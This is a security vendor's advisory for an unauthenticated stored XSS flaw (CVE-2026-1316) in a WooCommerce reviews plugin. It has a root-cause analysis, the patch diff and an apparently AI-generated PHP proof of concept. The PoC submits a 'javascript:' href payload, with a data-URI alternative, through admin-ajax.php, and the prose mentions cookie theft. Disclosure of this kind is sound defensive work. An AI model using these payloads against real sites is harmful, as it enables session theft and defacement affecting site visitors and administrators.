Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1316: Customer Reviews for WooCommerce <= 5.97.0 – Unauthenticated Stored Cross-Site Scripting via media[].href Parameter (customer-reviews-woocommerce)

CVE ID CVE-2026-1316
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.97.0
Patched Version 5.98.0
Disclosed February 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1316:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Customer Reviews for WooCommerce plugin. The vulnerability exists in versions up to and including 5.97.0. It allows attackers to inject arbitrary JavaScript via the `media[].href` parameter when submitting reviews. Successful exploitation requires the ‘Enable for Guests’ setting to be active.

Atomic Edge research identifies the root cause in the `CR_Endpoint::create_review()` function within `/includes/reviews/class-cr-endpoint.php`. The function processes user-submitted review data, including media attachments. Lines 313-346 show the vulnerable code path where the plugin stores `$body2->order->items[$i]->media[$m]->href` values directly into the database without proper sanitization. The plugin fails to validate or escape the `href` parameter values before storage, treating them as trusted URLs.

The exploitation method involves submitting a review through the plugin’s review submission endpoint with a malicious `media[].href` parameter. An attacker crafts a POST request containing a media object with a `href` value like `javascript:alert(document.cookie)` or a data URI containing script payloads. When the plugin stores this value and later renders it in review display templates, the browser executes the JavaScript. The attack is unauthenticated if the site administrator has enabled guest reviews.

The patch adds `esc_url_raw()` sanitization to all `href` parameter storage points in `class-cr-endpoint.php`. Lines 313, 320, 333, and 340 now wrap the `href` values with this WordPress escaping function. The patch also adds output escaping in multiple display templates (`class-cr-reviews-list-table.php`, `class-cr-reviews-media-meta-box.php`, `class-cr-reviews.php`) using `esc_url()` for all rendered URL attributes. These changes ensure that stored URLs are validated during input and properly escaped during output, neutralizing JavaScript execution.

Successful exploitation leads to stored XSS attacks where malicious scripts execute in victims’ browsers when viewing compromised reviews. Attackers can steal session cookies, perform actions as the victim user, deface websites, or redirect users to malicious sites. The vulnerability affects both frontend review displays and backend admin interfaces where reviews are managed, potentially enabling privilege escalation if administrators view malicious reviews.

Differential between vulnerable and patched code

Code Diff
--- a/customer-reviews-woocommerce/class-ivole.php
+++ b/customer-reviews-woocommerce/class-ivole.php
@@ -84,7 +84,7 @@
 require_once( __DIR__ . '/includes/analytics/class-cr-reviews-top-charts.php' );

 class Ivole {
-	const CR_VERSION = '5.97.0';
+	const CR_VERSION = '5.98.0';

 	public function __construct() {
 		if( function_exists( 'wc' ) ) {
--- a/customer-reviews-woocommerce/includes/reminders/class-cr-local-forms-ajax.php
+++ b/customer-reviews-woocommerce/includes/reminders/class-cr-local-forms-ajax.php
@@ -24,10 +24,13 @@
 		}

 		public function submit_form() {
-			if( isset( $_POST['formId'] ) ) {
+			if ( isset( $_POST['formId'] ) ) {
+				// fetch product recommendations
+				$recommendations = $this->get_recommended_products_html();
+				//
 				if( CR_Local_Forms::TEST_FORM === $_POST['formId'] ) {
 					// submission of a test form
-					return;
+					wp_send_json_success( $recommendations );
 				} else {
 					global $wpdb;
 					$table_name = $wpdb->prefix . CR_Local_Forms::FORMS_TABLE;
@@ -80,6 +83,7 @@
 							CR_Endpoint::create_review( $req, true );
 						};
 					}
+					wp_send_json_success( $recommendations );
 				}
 			}
 		}
@@ -223,6 +227,109 @@
 			return $update_result;
 		}

+		private function get_recommended_products() {
+			if ( ! function_exists( 'wc_get_products' ) ) {
+				return [];
+			}
+
+			$products = wc_get_products( [
+				'limit'        => 3,
+				'status'       => 'publish',
+				'stock_status' => 'instock',
+				'visibility'   => 'catalog',
+				'orderby'      => 'rand',
+			] );
+
+			$result = [];
+
+			foreach ( $products as $product ) {
+				$image_id  = $product->get_image_id();
+				$image_url = $image_id
+					? wp_get_attachment_image_url( $image_id, 'woocommerce_thumbnail' )
+					: wc_placeholder_img_src();
+
+				$result[] = [
+					'name'         => $product->get_name(),
+					'price'        => wc_get_price_to_display( $product ),
+					'rating'       => (float) $product->get_average_rating(),
+					'review_count' => (int) $product->get_review_count(),
+					'image'        => $image_url,
+					'permalink'    => get_permalink( $product->get_id() ),
+				];
+			}
+
+			return $result;
+		}
+
+		private function get_recommended_products_html() {
+			$products = $this->get_recommended_products();
+
+			if ( empty( $products ) ) {
+				return '';
+			}
+
+			// create HTML to return
+			ob_start();
+			foreach ( $products as $product ) :
+				?>
+				<div class="cr-form-recommend-prod-container">
+					<div class="cr-form-recommend-prod-price">
+						<?php echo wc_price( $product['price'] ); ?>
+					</div>
+
+					<img
+						src="<?php echo esc_url( $product['image'] ); ?>"
+						alt="<?php echo esc_attr( $product['name'] ); ?>"
+					/>
+
+					<div class="cr-form-recommend-prod-content">
+						<h3 class="cr-form-recommend-prod-title">
+							<?php echo esc_html( $product['name'] ); ?>
+						</h3>
+
+						<div class="cr-form-recommend-prod-rating">
+							<div class="cr-form-recommend-prod-rating-top">
+								<div class="cr-form-recommend-prod-rating-rng">
+									<?php echo esc_html( number_format( $product['rating'], 1 ) ); ?>
+								</div>
+								<div class="cr-form-recommend-prod-rating-str">
+									<?php
+										$label = sprintf( __( 'Rated %s out of 5', 'customer-reviews-woocommerce' ), number_format( $product['rating'], 1 ) );
+										$html_star_rating = '<div class="crstar-rating-svg" role="img" aria-label="' . esc_attr( $label ) . '">' . CR_Reviews::get_star_rating_svg( $product['rating'], 0, '' ) . '</div>';
+										echo $html_star_rating;
+									?>
+								</div>
+							</div>
+							<div class="cr-form-recommend-prod-rating-btm">
+								<?php
+									$count = (int) $product['review_count'];
+									echo esc_html(
+										sprintf(
+											/* translators: %s: number of reviews */
+											_n( '%s review', '%s reviews', $count, 'customer-reviews-woocommerce' ),
+											$count
+										)
+									);
+								?>
+							</div>
+						</div>
+
+						<a
+							href="<?php echo esc_url( $product['permalink'] ); ?>"
+							class="cr-form-recommend-prod-buy"
+						>
+							<?php esc_html_e( 'View', 'customer-reviews-woocommerce' ); ?>
+						</a>
+					</div>
+				</div>
+				<?php
+			endforeach;
+
+			$html = ob_get_clean();
+
+			return $html;
+		}
+
 	}

 endif;
--- a/customer-reviews-woocommerce/includes/reminders/class-cr-local-forms.php
+++ b/customer-reviews-woocommerce/includes/reminders/class-cr-local-forms.php
@@ -146,6 +146,7 @@
 			$cr_form_subm_header = __( 'Thank you for submitting a review!', 'customer-reviews-woocommerce' );
 			$cr_form_subm_desc = __( 'Your response has been recorded.', 'customer-reviews-woocommerce' );
 			$cr_form_edit_label = __( 'Edit your review', 'customer-reviews-woocommerce' );
+			$cr_form_edit_recom = __( 'Items You May Be Interested In', 'customer-reviews-woocommerce' );
 			$cr_form_edit = $this->display_name ? true : false;
 			$cr_form_color1 = $this->cr_form_color1;
 			$cr_form_color2 = $this->cr_form_color2;
--- a/customer-reviews-woocommerce/includes/reviews/class-cr-endpoint.php
+++ b/customer-reviews-woocommerce/includes/reviews/class-cr-endpoint.php
@@ -313,14 +313,14 @@
 											if( wp_attachment_is( 'image', $body2->order->items[$i]->media[$m] ) ) {
 												$media_meta[] = array(
 													'meta' => CR_Reviews::REVIEWS_META_LCL_IMG,
-													'value' => $body2->order->items[$i]->media[$m]
+													'value' => esc_url_raw( $body2->order->items[$i]->media[$m] )
 												);
 											}
 											// video
 											else if( wp_attachment_is( 'video', $body2->order->items[$i]->media[$m] ) ) {
 												$media_meta[] = array(
 													'meta' => CR_Reviews::REVIEWS_META_LCL_VID,
-													'value' => $body2->order->items[$i]->media[$m]
+													'value' => esc_url_raw( $body2->order->items[$i]->media[$m] )
 												);
 											}
 										}
@@ -333,14 +333,14 @@
 											if( 'image' === $body2->order->items[$i]->media[$m]->type && isset( $body2->order->items[$i]->media[$m]->href ) ) {
 												$media_meta[] = array(
 													'meta' => 'ivole_review_image',
-													'value' => array( 'url' => $body2->order->items[$i]->media[$m]->href )
+													'value' => array( 'url' => esc_url_raw( $body2->order->items[$i]->media[$m]->href ) )
 												);
 											}
 											// video
 											else if( 'video' === $body2->order->items[$i]->media[$m]->type && isset( $body2->order->items[$i]->media[$m]->href) ) {
 												$media_meta[] = array(
 													'meta' => 'ivole_review_video',
-													'value' => array( 'url' => $body2->order->items[$i]->media[$m]->href )
+													'value' => array( 'url' => esc_url_raw( $body2->order->items[$i]->media[$m]->href ) )
 												);
 											}
 										}
--- a/customer-reviews-woocommerce/includes/reviews/class-cr-reviews-list-table.php
+++ b/customer-reviews-woocommerce/includes/reviews/class-cr-reviews-list-table.php
@@ -1045,8 +1045,8 @@
 				for ( $i = 0; $i < $pics_n; $i++ ) {
 					if ( isset( $pics[$i]['url'] ) ) {
 						echo '<div class="iv-comment-image">';
-						echo '<a href="' . $pics[$i]['url'] . $cr_query . '" class="cr-comment-a" rel="nofollow"><img src="' .
-						$pics[$i]['url'] . $cr_query . '" alt="' .
+						echo '<a href="' . esc_url( $pics[$i]['url'] . $cr_query ) . '" class="cr-comment-a" rel="nofollow"><img src="' .
+						esc_url( $pics[$i]['url'] . $cr_query ) . '" alt="' .
 						esc_attr(
 							sprintf( __( 'Image #%1$d from %2$s', 'customer-reviews-woocommerce' ), $k, $comment->comment_author )
 						) . '"></a>';
@@ -1066,8 +1066,8 @@
 					if ( $attachmentUrl ) {
 						$temp_comment_content_flag = true;
 						$temp_comment_content .= '<div class="iv-comment-image">';
-						$temp_comment_content .= '<a href="' . $attachmentUrl . '" class="cr-comment-a"><img src="' .
-						$attachmentUrl . '" alt="' .
+						$temp_comment_content .= '<a href="' . esc_url( $attachmentUrl ) . '" class="cr-comment-a"><img src="' .
+						esc_url( $attachmentUrl ) . '" alt="' .
 						esc_attr(
 							sprintf( __( 'Image #%1$d from %2$s', 'customer-reviews-woocommerce' ), $k, $comment->comment_author )
 						) . '" /></a>';
@@ -1088,7 +1088,7 @@
 					echo '<div class="cr-comment-video cr-comment-video-' . $k . '">';
 					echo '<div class="cr-video-cont">';
 					echo '<video preload="metadata" class="cr-video-a" ';
-					echo 'src="' . $pics_v[$i]['url'] . $cr_query . '#t=0.1';
+					echo 'src="' . esc_url( $pics_v[$i]['url'] . $cr_query . '#t=0.1' );
 					echo '"></video>';
 					echo '<img class="cr-comment-videoicon" src="' . plugin_dir_url( dirname( dirname( __FILE__ ) ) ) . 'img/video.svg" ';
 					echo 'alt="' . esc_attr(
@@ -1112,7 +1112,7 @@
 						$temp_comment_content .= '<div class="cr-comment-video cr-comment-video-' . $k . '">';
 						$temp_comment_content .= '<div class="cr-video-cont">';
 						$temp_comment_content .= '<video preload="metadata" class="cr-video-a" ';
-						$temp_comment_content .= 'src="' . $attachmentUrl . '#t=0.1';
+						$temp_comment_content .= 'src="' . esc_url( $attachmentUrl . '#t=0.1' );
 						$temp_comment_content .= '"></video>';
 						$temp_comment_content .= '<img class="cr-comment-videoicon" src="' . plugin_dir_url( dirname( dirname( __FILE__ ) ) ) . 'img/video.svg" ';
 						$temp_comment_content .= 'alt="' . esc_attr(
--- a/customer-reviews-woocommerce/includes/reviews/class-cr-reviews-media-meta-box.php
+++ b/customer-reviews-woocommerce/includes/reviews/class-cr-reviews-media-meta-box.php
@@ -51,7 +51,7 @@
 					if ( isset( $pics[$i]['url'] ) ) {
 						echo '<div class="cr-comment-image">';
 						echo '<img src="' .
-						$pics[$i]['url'] . $cr_query . '" alt="' .
+						esc_url( $pics[$i]['url'] . $cr_query ) . '" alt="' .
 						esc_attr(
 							sprintf( __( 'Image #%1$d from %2$s', 'customer-reviews-woocommerce' ), $k_image, $comment->comment_author )
 						) . '">';
@@ -66,7 +66,7 @@
 					echo '<div class="cr-comment-video cr-comment-video-' . $k_video . '">';
 					echo '<div class="cr-video-cont">';
 					echo '<video preload="metadata" class="cr-video-a" ';
-					echo 'src="' . $pics_v[$i]['url'] . $cr_query . '#t=0.1';
+					echo 'src="' . esc_url( $pics_v[$i]['url'] . $cr_query . '#t=0.1' );
 					echo '"></video>';
 					echo '<img class="cr-comment-videoicon" src="' . plugin_dir_url( dirname( dirname( __FILE__ ) ) ) . 'img/video.svg" ';
 					echo 'alt="' .
@@ -99,7 +99,7 @@
 						$temp_comment_content .= '<p><span class="cr-comment-image-detach-no">' . __( 'No', 'customer-reviews-woocommerce' ) . '</span>';
 						$temp_comment_content .= '<span class="cr-comment-image-detach-yes" data-nonce="' . wp_create_nonce( 'cr-upload-images-detach' ) . '" data-attachment="' . $pics_local[$i] . '">' . __( 'Yes', 'customer-reviews-woocommerce' ) . '</span>';
 						$temp_comment_content .= '</p><span class="cr-comment-image-detach-spinner"></span></div><img src="' .
-						$attachmentUrl . '" alt="' .
+						esc_url( $attachmentUrl ) . '" alt="' .
 						esc_attr(
 							sprintf( __( 'Image #%1$d from %2$s', 'customer-reviews-woocommerce' ), $k_image, $comment->comment_author )
 						) . '" /></div>';
@@ -130,7 +130,7 @@
 						$temp_comment_content .= '</p><span class="cr-comment-image-detach-spinner"></span></div>';
 						$temp_comment_content .= '<div class="cr-video-cont">';
 						$temp_comment_content .= '<video preload="metadata" class="cr-video-a" ';
-						$temp_comment_content .= 'src="' . $attachmentUrl . '#t=0.1';
+						$temp_comment_content .= 'src="' . esc_url( $attachmentUrl . '#t=0.1' );
 						$temp_comment_content .= '"></video>';
 						$temp_comment_content .= '<img class="cr-comment-videoicon" src="' . plugin_dir_url( dirname( dirname( __FILE__ ) ) ) . 'img/video.svg" ';
 						$temp_comment_content .= 'alt="' .
--- a/customer-reviews-woocommerce/includes/reviews/class-cr-reviews.php
+++ b/customer-reviews-woocommerce/includes/reviews/class-cr-reviews.php
@@ -239,8 +239,8 @@
 					for( $i = 0; $i < $pics_n; $i++ ) {
 						if ( isset( $pics[$i]['url'] ) ) {
 							$output .= '<div class="iv-comment-image cr-comment-image-ext" data-reviewid="' . $comment->comment_ID . '">';
-							$output .= '<a href="' . $pics[$i]['url'] . $cr_query . '" class="cr-comment-a" rel="nofollow"><img src="' .
-							$pics[$i]['url'] . $cr_query . '" alt="' .
+							$output .= '<a href="' . esc_url( $pics[$i]['url'] . $cr_query ) . '" class="cr-comment-a" rel="nofollow"><img src="' .
+							esc_url( $pics[$i]['url'] . $cr_query ) . '" alt="' .
 							esc_attr(
 								sprintf( __( 'Image #%1$d from %2$s', 'customer-reviews-woocommerce' ), $k, $comment->comment_author )
 							) . '" loading="lazy"></a>';
@@ -257,8 +257,8 @@
 						if( $attachmentSrc ) {
 							$temp_comment_content_flag = true;
 							$temp_comment_content .= '<div class="iv-comment-image">';
-							$temp_comment_content .= '<a href="' . $attachmentSrc[0] . '" class="cr-comment-a"><img src="' .
-							$attachmentSrc[0] . '" width="' . $attachmentSrc[1] . '" height="' . $attachmentSrc[2] .
+							$temp_comment_content .= '<a href="' . esc_url( $attachmentSrc[0] ) . '" class="cr-comment-a"><img src="' .
+							esc_url( $attachmentSrc[0] ) . '" width="' . $attachmentSrc[1] . '" height="' . $attachmentSrc[2] .
 							'" alt="' .
 							esc_attr(
 								sprintf( __( 'Image #%1$d from %2$s', 'customer-reviews-woocommerce' ), $k, $comment->comment_author )
@@ -277,7 +277,7 @@
 						$output .= '<div class="cr-comment-video cr-comment-video-ext cr-comment-video-' . $k . '" data-reviewid="' . $comment->comment_ID . '">';
 						$output .= '<div class="cr-video-cont">';
 						$output .= '<video preload="metadata" class="cr-video-a" ';
-						$output .= 'src="' . $pics_v[$i]['url'] . $cr_query . '#t=0.1';
+						$output .= 'src="' . esc_url( $pics_v[$i]['url'] . $cr_query . '#t=0.1' );
 						$output .= '"></video>';
 						$output .= '<img class="cr-comment-videoicon" src="' . plugin_dir_url( dirname( dirname( __FILE__ ) ) ) . 'img/video.svg" ';
 						$output .= 'alt="' .
@@ -299,7 +299,7 @@
 							$temp_comment_content .= '<div class="cr-comment-video cr-comment-video-' . $k . '">';
 							$temp_comment_content .= '<div class="cr-video-cont">';
 							$temp_comment_content .= '<video preload="metadata" class="cr-video-a" ';
-							$temp_comment_content .= 'src="' . $attachmentUrl . '#t=0.1';
+							$temp_comment_content .= 'src="' . esc_url( $attachmentUrl . '#t=0.1' );
 							$temp_comment_content .= '"></video>';
 							$temp_comment_content .= '<img class="cr-comment-videoicon" src="' . plugin_dir_url( dirname( dirname( __FILE__ ) ) ) . 'img/video.svg" ';
 							$temp_comment_content .= 'alt="' .
--- a/customer-reviews-woocommerce/ivole.php
+++ b/customer-reviews-woocommerce/ivole.php
@@ -3,7 +3,7 @@
 Plugin Name: Customer Reviews for WooCommerce
 Description: Customer Reviews for WooCommerce plugin helps you get more customer reviews for your shop by sending automated reminders and coupons.
 Plugin URI: https://wordpress.org/plugins/customer-reviews-woocommerce/
-Version: 5.97.0
+Version: 5.98.0
 Author: CusRev
 Author URI: https://www.cusrev.com/business/
 Text Domain: customer-reviews-woocommerce
--- a/customer-reviews-woocommerce/templates/form-header.php
+++ b/customer-reviews-woocommerce/templates/form-header.php
@@ -34,7 +34,7 @@
 			.cr-form-header, .cr-form-top-line {
 				background-color: <?php echo esc_attr( $cr_form_color1 ); ?> !important;
 			}
-			.cr-form-item-title div, .cr-form-customer-title {
+			.cr-form-item-title div, .cr-form-customer-title, .cr-form-recommend-prod-price {
 				background-color: <?php echo esc_attr( $cr_form_color1 ); ?> !important;
 				color: <?php echo esc_attr( $cr_form_color2 ); ?> !important;
 			}
@@ -67,7 +67,7 @@
 			.cr-form-submit .cr-form-submit-loader::after {
 				background-color: <?php echo esc_attr( $cr_form_color3 ); ?> !important;
 			}
-			.cr-form-edit {
+			.cr-form-edit, .cr-form-recommend-prod-buy {
 				color: <?php echo esc_attr( $cr_form_color2 ); ?> !important;
 				background-color: <?php echo esc_attr( $cr_form_color3 ); ?> !important;
 			}
@@ -86,6 +86,9 @@
 			.cr-form-item-media-preview .cr-upload-images-containers .cr-upload-video-thumbnail {
 				fill: <?php echo esc_attr( $cr_form_color3 ); ?> !important;
 			}
+			.cr-form-recommend-prod-rating-rng {
+				color: <?php echo esc_attr( $cr_form_color3 ); ?> !important;
+			}
 		</style>
 	</head>
 	<body <?php echo is_rtl() ? 'rightmargin' : 'leftmargin'; ?>="0" marginwidth="0" topmargin="0" marginheight="0" offset="0" style="padding:0;">
@@ -110,6 +113,13 @@
 							</span>
 						</div>
 					</div>
+					<div class="cr-form-item-title cr-form-recommend-title">
+						<div>
+							<?php echo esc_html( $cr_form_edit_recom ); ?>
+						</div>
+					</div>
+				</div>
+				<div class="cr-form-recommend-cont">
 				</div>
 				<div class="cr-form-content cr-form-body">
 					<div class="cr-form-title">

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1316 - Customer Reviews for WooCommerce <= 5.97.0 - Unauthenticated Stored Cross-Site Scripting via media[].href Parameter

<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';

// The action parameter may vary based on plugin configuration
// Common actions: 'cr_local_forms_ajax', 'cr_submit_review', or similar
$action = 'cr_local_forms_ajax';

// Craft malicious media href with JavaScript payload
$malicious_href = 'javascript:alert(document.domain);//';

// Alternative payload using data URI
// $malicious_href = 'data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+';

$post_data = [
    'action' => $action,
    'formId' => 'review_submission', // This ID triggers the vulnerable code path
    'order' => json_encode([
        'items' => [
            [
                'id' => 123,
                'media' => [
                    [
                        'type' => 'image',
                        'href' => $malicious_href // Injected payload
                    ]
                ]
            ]
        ]
    ]),
    // Additional required fields may include:
    // 'rating', 'comment', 'email', 'name' depending on form configuration
    'rating' => 5,
    'comment' => 'Test review with XSS payload',
    'email' => 'attacker@example.com',
    'name' => 'Test User'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    echo "Payload submitted successfully.n";
    echo "Response: " . $response . "n";
    echo "Check the review page for XSS execution.n";
} else {
    echo "Request failed with HTTP code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School